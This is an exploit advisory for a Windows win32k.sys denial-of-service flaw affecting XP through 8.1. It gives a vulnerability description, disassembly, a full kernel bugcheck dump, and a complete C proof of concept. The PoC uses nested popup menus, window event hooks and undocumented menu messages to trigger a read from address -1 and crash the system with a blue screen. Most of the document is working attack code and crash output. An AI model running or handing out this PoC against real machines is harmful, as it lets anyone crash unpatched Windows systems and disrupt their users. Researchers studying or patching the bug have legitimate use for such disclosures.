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# Exploit Title: Microsoft Windows Win32k.sys Denial of Service # Date: 20-11-2014 # Exploit Author: Kedamsky (kedamsky@mail.ru) # Vendor Homepage: http://microsoft.com # Software Link: http://www.microsoft.com/en-us/download/windows.aspx # Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64) # Tested on: [XP to 8.1 x86/x64] Microsoft Windows win32k.sys DoS exploit by Kedamsky mailto:kedamsky@mail.ru ========================= Vulnerability Description ========================= The vulnerability exists in the function win32k!xxxMenuWindowProc. It calls the function win32k!xxxMNOpenHierarchy that can return valid pointer to data and 0 or -1 otherwise. The function win32k!xxxMenuWindowProc does not validate the result of win32k!xxxMNOpenHierarchy properly and it is possible to try to read data from address -1. =============== Vulnerable code =============== 8f584e72 85c0 test eax,eax 8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371) 8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1 ... 8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260) 8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72) ================ Typical bugcheck ================ ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffffffff FAULTING_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] MM_INTERNAL_CODE: 0 IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60 MODULE_NAME: win32k FAULTING_MODULE: 8f480000 win32k DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: DOS3_1E3.exe CURRENT_IRQL: 2 TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64) ErrCode = 00000000 eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270 eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 win32k!xxxMenuWindowProc+0xa09: 8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98 STACK_TEXT: 9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction 9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c 9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d 9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a 9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc 9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09 9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4 9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c 9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27 9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6 9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a 0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet 0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc 0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5 0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c 0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22 0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100 0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21 0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24 0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e 0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc 0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68 0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23 0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b 0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7 0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c 0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41 0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7 0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910 0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c 0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23 0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b 0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322 0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf 0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d 0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238] 0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe 0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23 0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!xxxMenuWindowProc+a09 FOLLOWUP_NAME: MachineOwner FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 Followup: MachineOwner --------- ================ Proof of Concept ================ //#include "stdafx.h" #include <windows.h> #define BSOD_BUTTON 0x9876 HMENU hMenu[3]; ULONG MenuLevel = 0; HWND hTargetMenuWnd = 0; void KeyEvent() { INPUT input; memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); SendInput(1, &input, sizeof(input)); Sleep(50); memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); input.ki.dwFlags = KEYEVENTF_KEYUP; SendInput(1, &input, sizeof(input)); } LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL) { return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0); } return 0; } VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hWnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) { ++MenuLevel; if (MenuLevel == 1) { KeyEvent(); } else if (MenuLevel == 2) { SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); hTargetMenuWnd = hWnd; SendMessage(hTargetMenuWnd, 0x1F2, 0, 0); } } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_COMMAND: if (LOWORD(wParam) == BSOD_BUTTON) { SetWinEventHook( EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), WinEventProc, GetCurrentProcessId(), GetCurrentThreadId(), WINEVENT_OUTOFCONTEXT); TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL); } case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProcA(hWnd, message, wParam, lParam); } return 0; } int APIENTRY WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ int nCmdShow) { WNDCLASSA Class; Class.style = 0; Class.lpfnWndProc = WndProc; Class.cbClsExtra = 0; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.hIcon = NULL; Class.hCursor = LoadCursor(0, IDC_ARROW); Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); Class.lpszMenuName = NULL; Class.lpszClassName = "MyWinClass"; if (RegisterClassA(&Class) != NULL) { HWND hMainWnd = CreateWindowA( "MyWinClass", "Microsoft Windows Win32k.sys Denial of Service Vulnerability", WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 0, 0, 500, 200, NULL, NULL, hInstance, NULL); if (hMainWnd != NULL) { HWND hButton = CreateWindowA( "Button", "Click me to see BSOD", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 150, 50, 200, 50, hMainWnd, (HMENU)BSOD_BUTTON, hInstance, NULL); if (hButton != 0) { hMenu[0] = CreatePopupMenu(); hMenu[1] = CreatePopupMenu(); hMenu[2] = CreatePopupMenu(); AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1"); AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1"); AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1"); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } } return 0; } |
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